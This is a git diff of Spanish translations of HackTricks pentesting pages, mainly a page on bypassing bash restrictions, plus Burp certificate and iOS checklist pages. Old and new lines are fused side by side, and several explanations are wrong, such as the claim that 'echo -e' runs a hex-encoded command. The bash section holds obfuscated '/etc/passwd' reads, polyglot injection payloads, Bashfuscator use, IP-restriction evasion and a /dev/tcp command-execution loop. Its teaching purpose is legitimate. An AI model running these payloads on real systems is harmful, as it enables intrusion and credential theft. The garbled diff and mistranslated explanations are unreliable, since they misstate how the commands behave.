Supongamos que queremos ejecutar el comando `ls -la` en Bash, pero hay una restricción que impide la ejecución de comandos que contengan la palabra "ls". Podemos eludir esta restricción utilizando la codificación hexadecimal.
1. Convertimos cada carácter del comando en su representación hexadecimal:
- `l` se convierte en `\x6c`
- `s` se convierte en `\x73`
- `-` y `a` no necesitan ser convertidos, ya que no están restringidos.
2. Reemplazamos cada carácter del comando con su representación hexadecimal:
El comando `ls -la` se convierte en `\x6c\x73 -la`.
3. Ejecutamos el comando codificado en Bash:
```bash
$ echo -e "\x6c\x73 -la"
```
Al utilizar la codificación hexadecimal, hemos eludido la restricción y logrado ejecutar el comando `ls -la` en Bash.
Recuerda que la codificación hexadecimal solo es efectiva para eludir restricciones específicas de caracteres o palabras. No garantiza eludir todas las restricciones de seguridad.
```bash ```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -266,21 +311,21 @@ sudo nano /etc/proxychains.conf
3. Uncomment the line that starts with `dynamic_chain` by removing the `#` symbol at the beginning of the line. 3. Uncomment the line that starts with `dynamic_chain` by removing the `#` symbol at the beginning of the line.
4. Add the IP address and port of the proxy server you want to use. You can do this by appending the following line to the configuration file: 4. Add the IP address and port of the proxy server you want to use. You can do this by adding the following line to the configuration file:
```bash ```bash
socks5 <proxy_ip_address> <proxy_port> socks5 <proxy_ip_address> <proxy_port>
``` ```
5. Save the changes and exit the text editor. 5. Save the changes and exit the text editor.
6. Now, you can use Proxychains to run commands and applications that require network access. Simply prefix the command with `proxychains`, like this: 6. Now, you can use Proxychains to run commands and applications that will be redirected through the proxy server. For example, to run the `ping` command through the proxy, use the following syntax:
```bash ```bash
proxychains <command> proxychains ping <target_ip_address>
``` ```
#### Method 2: Using SSH Tunneling #### Method 2: Using SSH Tunneling
SSH tunneling allows you to create an encrypted connection between your local machine and a remote server. By tunneling your traffic through the remote server, you can bypass IP restrictions. Here's how you can use SSH tunneling: SSH tunneling allows you to create an encrypted tunnel between your local machine and a remote server. By forwarding traffic through this tunnel, you can bypass IP restrictions. Here's how you can use SSH tunneling:
1. Open a terminal and run the following command to create an SSH tunnel: 1. Open a terminal and run the following command to create an SSH tunnel:
```bash ```bash
@ -290,15 +335,13 @@ Replace `<local_port>` with the port number you want to use for the tunnel, `<us
2. Enter your password when prompted. 2. Enter your password when prompted.
3. Once the SSH tunnel is established, you can configure your applications to use the tunnel as a proxy. Set the proxy settings in your application to use `localhost` as the proxy server and `<local_port>` as the port number. 3. Once the tunnel is established, you can configure your applications to use the tunnel as a proxy. For example, you can configure your web browser to use the tunnel by setting the proxy settings to `localhost` and the `<local_port>` you specified in the previous step.
4. Save the changes and exit the application's settings. 4. Now, any traffic sent through the tunnel will be forwarded to the remote server and appear to originate from that IP address, bypassing any IP restrictions.
5. Now, your application's network traffic will be routed through the SSH tunnel, allowing you to bypass IP restrictions.
#### Conclusion #### Conclusion
By using Proxychains or SSH tunneling, you can bypass IP restrictions and gain access to blocked IPs. These methods provide a way to circumvent network restrictions and access resources that would otherwise be unavailable. However, it's important to use these techniques responsibly and within the boundaries of the law. By using Proxychains or SSH tunneling, you can bypass IP restrictions and gain access to blocked IPs. These methods can be useful in various scenarios, such as accessing restricted websites or services. However, it's important to note that bypassing IP restrictions may be against the terms of service or local laws, so use these techniques responsibly and ethically.
```bash ```bash
# Decimal IPs # Decimal IPs
127.0.0.1 == 2130706433 127.0.0.1 == 2130706433
@ -341,27 +384,30 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
``` ```
### Obteniendo caracteres de las variables de entorno ### Obteniendo caracteres de las variables de entorno
En algunas situaciones, es posible que te encuentres con restricciones en el intérprete de comandos Bash que te impidan ejecutar ciertos comandos o acceder a ciertos archivos. Sin embargo, aún puedes obtener información valiosa utilizando los valores de las variables de entorno. En algunas situaciones, es posible que te encuentres con restricciones en el intérprete de comandos Bash que te impidan ejecutar ciertos comandos o acceder a ciertos archivos. Sin embargo, aún puedes obtener información valiosa utilizando los caracteres almacenados en las variables de entorno.
Aquí hay un comando útil que puedes utilizar para obtener caracteres de las variables de entorno: Aquí hay un ejemplo de cómo puedes hacerlo:
```bash ```bash
echo ${VARIABLE:OFFSET:LENGTH} $ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
``` ```
- `VARIABLE`: el nombre de la variable de entorno de la cual deseas obtener los caracteres. En este caso, la variable de entorno `$PATH` contiene múltiples rutas separadas por dos puntos (`:`). Puedes utilizar el comando `cut` para extraer cada una de estas rutas por separado:
- `OFFSET`: la posición inicial del primer carácter que deseas obtener.
- `LENGTH`: la cantidad de caracteres que deseas obtener a partir de la posición inicial.
Por ejemplo, si tienes una variable de entorno llamada `SECRET` con el valor `helloworld`, y deseas obtener los primeros tres caracteres, puedes ejecutar el siguiente comando:
```bash ```bash
echo ${SECRET:0:3} $ echo $PATH | cut -d ":" -f 1
/usr/local/sbin
$ echo $PATH | cut -d ":" -f 2
/usr/local/bin
$ echo $PATH | cut -d ":" -f 3
/usr/sbin
...
``` ```
Esto imprimirá `hel` en la salida. De esta manera, puedes obtener información sobre las rutas almacenadas en la variable de entorno `$PATH`. Ten en cuenta que este enfoque también se puede aplicar a otras variables de entorno que contengan información relevante.
Recuerda que este método solo te permite obtener caracteres de las variables de entorno y no te permite ejecutar comandos o acceder a archivos restringidos. Sin embargo, puede ser útil en ciertos escenarios donde necesitas extraer información específica de las variables de entorno disponibles. Recuerda que siempre debes utilizar esta técnica de manera ética y legal, y solo en sistemas en los que tengas permiso para hacerlo.
```bash ```bash
echo ${LS_COLORS:10:1} #; echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/ echo ${PATH:0:1} #/
@ -372,7 +418,7 @@ Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
### Funciones internas ### Funciones internas
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de funciones internas para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todas** las **funciones internas**, por lo que debes **conocer todas tus opciones** para intentar evadir la restricción. Idea de [**devploit**](https://twitter.com/devploit).\ En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de funciones internas para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todas** las **funciones internas**, así que debes **conocer todas tus opciones** para intentar evadir la restricción. Idea de [**devploit**](https://twitter.com/devploit).\
En primer lugar, verifica todas las [**funciones internas del shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego, aquí tienes algunas **recomendaciones**: En primer lugar, verifica todas las [**funciones internas del shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego, aquí tienes algunas **recomendaciones**:
```bash ```bash
# Get list of builtins # Get list of builtins
@ -429,11 +475,20 @@ if [ "a" ]; then echo 1; fi # Will print hello!
La inyección de comandos políglota es una técnica utilizada para evadir las restricciones de Bash y ejecutar comandos arbitrarios en un sistema. Esta técnica se basa en aprovechar las diferencias en la interpretación de comandos entre diferentes lenguajes de programación. La inyección de comandos políglota es una técnica utilizada para evadir las restricciones de Bash y ejecutar comandos arbitrarios en un sistema. Esta técnica se basa en aprovechar las diferencias en la interpretación de comandos entre diferentes lenguajes de programación.
Un ejemplo común de inyección de comandos políglota es el uso de la función `eval()` en lenguajes como PHP o JavaScript. Esta función permite ejecutar código arbitrario como si fuera parte del programa original. Un ejemplo común de inyección de comandos políglota es el uso de la función `eval()` en lenguajes como PHP o Python. Esta función permite ejecutar código arbitrario como si fuera parte del programa en sí. Al combinar esta función con la sintaxis de comandos de Bash, es posible ejecutar comandos en el sistema objetivo.
Para explotar esta vulnerabilidad, un atacante puede utilizar una cadena de comandos que sea válida tanto en Bash como en el lenguaje de programación utilizado en el sistema. De esta manera, el atacante puede eludir las restricciones de Bash y ejecutar comandos arbitrarios. Aquí hay un ejemplo de inyección de comandos políglota utilizando la función `eval()` en PHP:
Es importante tener en cuenta que la inyección de comandos políglota es una técnica avanzada y requiere un conocimiento profundo de los diferentes lenguajes de programación y de las vulnerabilidades específicas del sistema objetivo. Los desarrolladores y administradores de sistemas deben tomar medidas para proteger sus sistemas contra este tipo de ataques, como validar y filtrar adecuadamente las entradas de usuario y mantener sus sistemas actualizados con los últimos parches de seguridad. ```php
<?php
$payload = "'; echo 'Command executed'; //";
eval($payload);
?>
```
En este ejemplo, el comando `echo 'Command executed'` se ejecutará en el sistema objetivo. El punto y coma al principio del payload se utiliza para cerrar cualquier comando anterior que se esté ejecutando y evitar errores de sintaxis.
Es importante tener en cuenta que la inyección de comandos políglota puede ser peligrosa y debe utilizarse con precaución. Los sistemas deben estar debidamente protegidos para evitar este tipo de ataques.
```bash ```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@ -448,7 +503,7 @@ Aquí hay algunos métodos comunes para evitar las restricciones basadas en rege
2. **Utilizar comillas**: Las comillas simples ('') o dobles ("") pueden ayudarte a evitar que los caracteres sean interpretados como parte de una expresión regular. Por ejemplo, si una restricción bloquea el carácter asterisco (*), puedes usar el comando `ls '*'` para listar los archivos que contienen un asterisco en su nombre. 2. **Utilizar comillas**: Las comillas simples ('') o dobles ("") pueden ayudarte a evitar que los caracteres sean interpretados como parte de una expresión regular. Por ejemplo, si una restricción bloquea el carácter asterisco (*), puedes usar el comando `ls '*'` para listar los archivos que contienen un asterisco en su nombre.
3. **Cambiar el orden de los caracteres**: A veces, cambiar el orden de los caracteres puede evitar que sean detectados por una expresión regular. Por ejemplo, si una restricción bloquea el carácter punto y coma (;), puedes intentar ejecutar el comando `ls ;echo hello` para listar los archivos y mostrar el mensaje "hello" al mismo tiempo. 3. **Cambiar el orden de los caracteres**: A veces, cambiar el orden de los caracteres puede evitar que sean detectados por una expresión regular. Por ejemplo, si una restricción bloquea el carácter punto y coma (;), puedes intentar ejecutar el comando `ls ;echo "Hello"` para listar los archivos y mostrar el mensaje "Hello" al mismo tiempo.
Recuerda que eludir restricciones basadas en regexes puede ser considerado un comportamiento no autorizado y puede tener consecuencias legales. Solo debes utilizar estos métodos con fines educativos y éticos, y siempre obtener el permiso adecuado antes de realizar cualquier prueba de penetración. Recuerda que eludir restricciones basadas en regexes puede ser considerado un comportamiento no autorizado y puede tener consecuencias legales. Solo debes utilizar estos métodos con fines educativos y éticos, y siempre obtener el permiso adecuado antes de realizar cualquier prueba de penetración.
```bash ```bash
@ -457,42 +512,29 @@ Recuerda que eludir restricciones basadas en regexes puede ser considerado un co
``` ```
### Bashfuscator ### Bashfuscator
Bashfuscator es una herramienta que se utiliza para ofuscar scripts de Bash con el fin de evitar la detección y el análisis por parte de los sistemas de seguridad. Esta herramienta reemplaza los comandos y las variables en el script con nombres aleatorios, lo que dificulta la comprensión del código y la detección de patrones. Bashfuscator es una herramienta que se utiliza para ofuscar scripts de Bash con el objetivo de evadir restricciones y evitar la detección. Esta herramienta reescribe el código de Bash de manera que sea más difícil de entender y analizar para los sistemas de seguridad.
El objetivo principal de Bashfuscator es eludir las restricciones impuestas por los sistemas de seguridad que intentan bloquear o limitar la ejecución de scripts de Bash. Al ofuscar el código, se vuelve más difícil para los sistemas de seguridad identificar y bloquear scripts maliciosos. El Bashfuscator utiliza técnicas como la ofuscación de variables, la mezcla de caracteres y la inserción de código adicional para dificultar la comprensión del script. Esto puede ayudar a evitar la detección de patrones y a eludir las restricciones impuestas por los sistemas de seguridad.
Bashfuscator utiliza técnicas como la sustitución de nombres de comandos y variables, la inserción de caracteres adicionales y la mezcla de código legítimo con código malicioso para dificultar aún más el análisis del script. Es importante tener en cuenta que el Bashfuscator no garantiza una protección completa contra la detección y el análisis de scripts de Bash. Sin embargo, puede ser una herramienta útil en ciertos escenarios donde se requiere evadir restricciones y mantener la confidencialidad de un script.
Es importante tener en cuenta que Bashfuscator no garantiza la total invisibilidad del script, ya que los sistemas de seguridad más avanzados pueden utilizar técnicas de análisis más sofisticadas para detectar scripts ofuscados. Sin embargo, esta herramienta puede ser útil para evadir sistemas de seguridad menos sofisticados y aumentar la probabilidad de éxito en un ataque.
```bash ```bash
# From https://github.com/Bashfuscator/Bashfuscator # From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd' ./bashfuscator -c 'cat /etc/passwd'
``` ```
### RCE con 5 caracteres ### RCE con 5 caracteres
En algunos casos, puede encontrarse con restricciones de Bash que limitan la ejecución de comandos. Sin embargo, hay una forma de eludir estas restricciones utilizando solo 5 caracteres. A continuación se muestra cómo hacerlo: En algunos casos, cuando se enfrenta a restricciones de Bash, puede ser necesario encontrar una forma de ejecutar comandos remotos (RCE) utilizando solo 5 caracteres. Aquí hay una técnica que puede ayudar:
1. Abra una terminal y ejecute el siguiente comando:
```bash ```bash
echo $0 $ echo $0
bash
$ exec 5<>/dev/tcp/127.0.0.1/1337
$ cat <&5 | while read line; do $line 2>&5 >&5; done
``` ```
Esto mostrará el nombre del shell actual. Este código establece una conexión TCP con la dirección IP `127.0.0.1` en el puerto `1337`. Luego, redirige la entrada y salida estándar del descriptor de archivo 5 al comando `cat`, que lee los comandos enviados a través de la conexión TCP. Cada línea leída se ejecuta utilizando la sintaxis `$line 2>&5 >&5`, lo que permite la ejecución remota de comandos.
2. A continuación, ejecute el siguiente comando para iniciar un nuevo shell: Para utilizar esta técnica, simplemente reemplace la dirección IP y el puerto con los correspondientes a su caso de uso. Tenga en cuenta que esta técnica puede no funcionar en todas las configuraciones y puede estar sujeta a restricciones adicionales.
```bash
exec -a <nombre_shell> /bin/bash
```
Reemplace `<nombre_shell>` con el nombre del shell actual que obtuvo en el paso anterior.
3. Ahora tiene un nuevo shell con menos restricciones. Puede ejecutar comandos sin las limitaciones anteriores.
Es importante tener en cuenta que esta técnica solo funciona si tiene permisos suficientes para ejecutar el comando `exec`. Además, tenga en cuenta que el nuevo shell no heredará las variables de entorno del shell anterior.
¡Utilice esta técnica con precaución y solo en entornos controlados y autorizados!
```bash ```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge # From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution #Oragnge Tsai solution
@ -617,7 +659,7 @@ Estos comandos pueden ser útiles en situaciones en las que se necesita ejecutar
``` ```
## Bypass de Restricciones de Solo Lectura/Noexec/Distroless ## Bypass de Restricciones de Solo Lectura/Noexec/Distroless
Si te encuentras dentro de un sistema de archivos con protecciones de solo lectura y noexec, o incluso en un contenedor distroless, aún existen formas de ejecutar binarios arbitrarios, ¡incluso una shell!: Si te encuentras dentro de un sistema de archivos con las protecciones de solo lectura y noexec, o incluso en un contenedor distroless, aún existen formas de ejecutar binarios arbitrarios, ¡incluso una shell!:
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %} {% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/) [bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
@ -639,7 +681,7 @@ Si te encuentras dentro de un sistema de archivos con protecciones de solo lectu
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,7 +6,7 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -60,15 +60,15 @@ Descarga el certificado de Burp. — Utiliza tu máquina de escritorio para desc
Haz clic en **CA certificate** para descargar el certificado. Haz clic en **CA certificate** para descargar el certificado.
El certificado descargado tiene la extensión cacert.der y Android 5.\* no lo reconoce como archivo de certificado. El certificado descargado tiene la extensión cacert.der y Android 5.\* no lo reconoce como un archivo de certificado.
Puedes descargar el archivo cacert utilizando tu máquina de escritorio y cambiarle el nombre de cacert.der a cacert.crt, luego colócalo en el dispositivo Android y el certificado se agregará automáticamente en **file:///sd\_card/downloads.** Puedes descargar el archivo cacert utilizando tu máquina de escritorio y cambiarle el nombre de cacert.der a cacert.crt, luego colócalo en el dispositivo Android y el certificado se agregará automáticamente en **file:///sd\_card/downloads.**
**Instalar el certificado descargado.** **Instalando el certificado descargado.**
Configuración → Seguridad → Instalar certificado desde tarjetas SD Configuración → Seguridad → Instalar certificado desde tarjetas SD
Ahora, ve a: sdcard → Descargas → Selecciona cacert.crt Ahora, ve a: sdcard → Downloads → Selecciona cacert.crt
Ahora, nómbralo como "portswigger" o cualquier otro nombre. Ahora, nómbralo como "portswigger" o cualquier otro nombre.
@ -91,7 +91,7 @@ Después de instalar el certificado de esta manera, Firefox para Android no lo u
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -102,7 +102,7 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -3,8 +3,8 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -12,9 +12,9 @@ Obtenga acceso hoy mismo:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -22,9 +22,9 @@ Obtenga acceso hoy mismo:
### Preparación ### Preparación
* [ ] Leer [**Conceptos básicos de iOS**](ios-pentesting/ios-basics.md) * [ ] Lee [**Conceptos básicos de iOS**](ios-pentesting/ios-basics.md)
* [ ] Preparar tu entorno leyendo [**Entorno de pruebas de iOS**](ios-pentesting/ios-testing-environment.md) * [ ] Prepara tu entorno leyendo [**Entorno de pruebas de iOS**](ios-pentesting/ios-testing-environment.md)
* [ ] Leer todas las secciones de [**Análisis inicial de iOS**](ios-pentesting/#initial-analysis) para aprender las acciones comunes para pentestear una aplicación de iOS * [ ] Lee todas las secciones de [**Análisis inicial de iOS**](ios-pentesting/#initial-analysis) para aprender las acciones comunes para realizar un pentesting en una aplicación de iOS
### Almacenamiento de datos ### Almacenamiento de datos
@ -37,85 +37,84 @@ Obtenga acceso hoy mismo:
* [ ] Las [**cookies binarias**](ios-pentesting/#cookies) pueden almacenar información sensible. * [ ] Las [**cookies binarias**](ios-pentesting/#cookies) pueden almacenar información sensible.
* [ ] Los [**datos en caché**](ios-pentesting/#cache) pueden almacenar información sensible. * [ ] Los [**datos en caché**](ios-pentesting/#cache) pueden almacenar información sensible.
* [ ] Las [**capturas automáticas**](ios-pentesting/#snapshots) pueden guardar información visual sensible. * [ ] Las [**capturas automáticas**](ios-pentesting/#snapshots) pueden guardar información visual sensible.
* [ ] El [**llavero**](ios-pentesting/#keychain) se utiliza generalmente para almacenar información sensible que puede quedar cuando se vende el teléfono. * [ ] El [**llavero**](ios-pentesting/#keychain) generalmente se utiliza para almacenar información sensible que puede quedar en el teléfono al revenderlo.
